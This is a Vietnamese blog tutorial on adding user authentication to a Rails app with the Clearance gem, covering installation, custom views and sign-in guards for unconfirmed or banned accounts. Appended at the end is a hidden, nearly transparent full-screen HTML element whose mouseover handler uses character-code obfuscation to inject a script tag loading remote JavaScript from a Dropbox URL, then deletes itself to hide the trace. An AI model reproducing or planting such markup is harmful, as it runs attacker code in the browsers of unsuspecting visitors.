Rails Authentication với gem Clearance

I. Mở đầu

Xin chào các bác (lay2)

Chắc hẳn các bác đã quen thuộc với Rails Authentication - hay hiểu nôm na là xác thực người dùng khi login đấy.

Đối với rails, khi nói đến thuật ngữ này thì trong đầu ta nghĩ đến ngay gem Devise - 1 gem hỗ trợ để quản lý và xác thực người dùng rất rất phổ biến.

Nhưng ăn cơm mãi cũng chán, thỉnh thoảng ăn phở tý cho đổi gió (yaoming)

Vì vậy ở bài hôm nay, tôi sẽ giới thiệu với các bạn một gem khác giúp giải quyết vấn đền rails authentication: gem Clearance.

Clearance là sản phẩm của team Thoughtbot, tác giả của FactoryGirl, Paperclip, ... nên các bác cứ yên tâm về chất lượng. (nod2)

Để có thể so sánh giữa ClearanceDevise thì có lẽ tôi phải nghiên cứu sâu thêm, chứ giờ không dám nói bừa (facepalm).

Nhưng điều đầu tiên ấn tượng khi thử dùng Clearance đấy là sự đơn giản và dễ dàng trong quá trình cài đặt và sử dụng của nó.

II. Demo

Các công việc sẽ làm

  • Khởi tạo rails app, add các gem cần thiết.
  • Tạo layouts và controller cơ bản.
  • Cài đặt clearance và migrate dữ liệu.
  • Config giúp clearance hoạt động.

Các công cụ

  • Rails 4.2.3
  • Ruby 2.1.4

GLHF (honho)

1. Khởi tạo

Khởi tạo rails app

rails new noodle -T

Add gem bootstrap và import

# Gemfile

gem "bootstrap-sass"
// stylesheets/application.css.scss

@import 'bootstrap';
@import 'bootstrap-sprockets';

Chỉnh layout

# views/layouts/application.html.erb
<nav class="nav navbar-inverse">
  <div class="container" >
    <div class="navbar-header">
      <%= link_to "Noodle", root_path, class: "navbar-brand" %>
    </div>
    <div id="navbar">
      <ul class="nav navbar-nav">
      </ul>
    </div>
  </div>
</nav>

<div class="container">
  <% flash.each do |message_type, message| %>
    <div class="alert alert-<%= message_type %>">
      <%= message %>
    </div>
  <% end %>

  <%= yield %>

</div>

Ta generate ra controller lấy tên là PagesController

rails g controller pages index

Chỉnh root về pages#index

# config/routes.rb

root "pages#index"

OK, vậy là trang chủ hiện tại của ta sẽ được như sau:

index1.png

2. Cài đặt Clearance

Ta add gem 'Clearance' vào trong Gemfile để install

gem "clearance"

Generate Clearance bằng câu lệnh sau:

rails g clearance:install

Câu lệnh này sẽ thực hiện:

  • Tạo ra file config/initalizers/clearance.rb để add các config.
  • Thêm code vào application_controller để tự động include Clearance::Controller
  • Tạo ra model User bên trong include Clearance::User. Model này mặc định có các attributes sau:
    • email (string).
    • encrypted_password (string)
    • confirmation_token (string)
    • remember_token (string)

Giờ ta sẽ add thêm link để login, logout trên layout.

# layouts/application.html.erb
<div id="navbar">
  <ul class="nav navbar-nav pull-right">
    <% if signed_in? %>
      <li><span><%= current_user.email %></span></li>
      <li><%= link_to 'Sign out', sign_out_path, method: :delete %></li>
    <% else %>
      <li><%= link_to 'Sign in', sign_in_path %></li>
    <% end %>
  </ul>
</div>

Giống như Devise, helper của Clearance cũng cung cấp các hàm để check User như

  • signed_in?: User đã login chưa
  • current_user: Trả về object User đã login.
  • sign_out_path: Là routes để logout

Bây giờ bạn đã có thể login, logout, signup rồi đấy, nó ngắn gọn vậy thôi (honho).

3. Custom Clearance

3.1. Custom Views

Ở chế độ mặc định, Clearance sẽ tự generate ra views khá là xấu (yaoming)

login.png

Vì vậy để modify nó ta chạy lệnh sau

rails g clearance:views

Lệnh này sẽ generate file views của Clearance hiện tại. Bạn có thể thấy trên console 1 đống file được tạo ra.

Giả dụ như ta muốn thay đổi form sign in, thì truy cập tới: views/sessions/_form.html.erb để sửa

<div class="container">
  <div class="row">
    <div class="col-md-offset-3 col-md-5">
      <%= form_for :session, url: session_path do |form| %>
        <div class="text-field">
          <%= form.label :email, class: "control-label" %>
          <%= form.text_field :email, type: 'email', class: "form-control" %>
        </div>

        <div class="password-field">
          <%= form.label :password, class: "control-label" %>
          <%= form.password_field :password, class: "form-control" %>
        </div>

        <br/>
        <div>
          <%= form.submit "Login", class: "btn btn-primary" %>
        </div>

        <div>
          <% if Clearance.configuration.allow_sign_up? %>
            <%= link_to t(".sign_up"), sign_up_path %>
          <% end %>
          <%= link_to t(".forgot_password"), new_password_path %>
        </div>
      <% end %>
    </div>
  </div>
</div>

Kết quả đỡ hơn tý (dance2)

login2.png

3.2. Extending Sign In

Mặc định khi login, Clearance chỉ check User email và password xem có trùng không.

Tuy nhiên, ngoài email và password ra bạn muốn kiểm tra thêm cái khác, ví dụ như kiểm tra account được active chưa chẳng hạn. Clearance cung cấp 1 cái gọi là sign-in guards.

Bạn mở file config để bật nó lên

# config/initializers/clearance.rb

class EmailConfirmationGuard < Clearance::SignInGuard
  def call
    if unconfirmed?
      failure("You must confirm your email address.")
    else
      next_guard
    end
  end

  def unconfirmed?
    signed_in? && !current_user.confirmed_at
  end
end

Clearance.configure do |config|
  config.sign_in_guards = [EmailConfirmationGuard]
end

Một ví dụ khác, chẳng hạn ta muốn không cho các account láo nháo đã bị ban login.

Generate thêm 1 trường trong db

rails generate migration add_ban_to_users ban:boolean

Thay đổi file config tiếp

# config/initializers/clearance.rb

Clearance.configure do |config|
  config.sign_in_guards = [BanCheckGuard]
end

class BanCheckGuard < Clearance::SignInGuard
  def call
    if banned?
      failure("Your account is suspended.")
    else
      next_guard
    end
  end

  def banned?
    current_user.ban?
  end
end

Và đây là kết quả sau khi login của account bị ban (yaoming)

login3.png

Source

Tài liệu tham khảo

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">

All Rights Reserved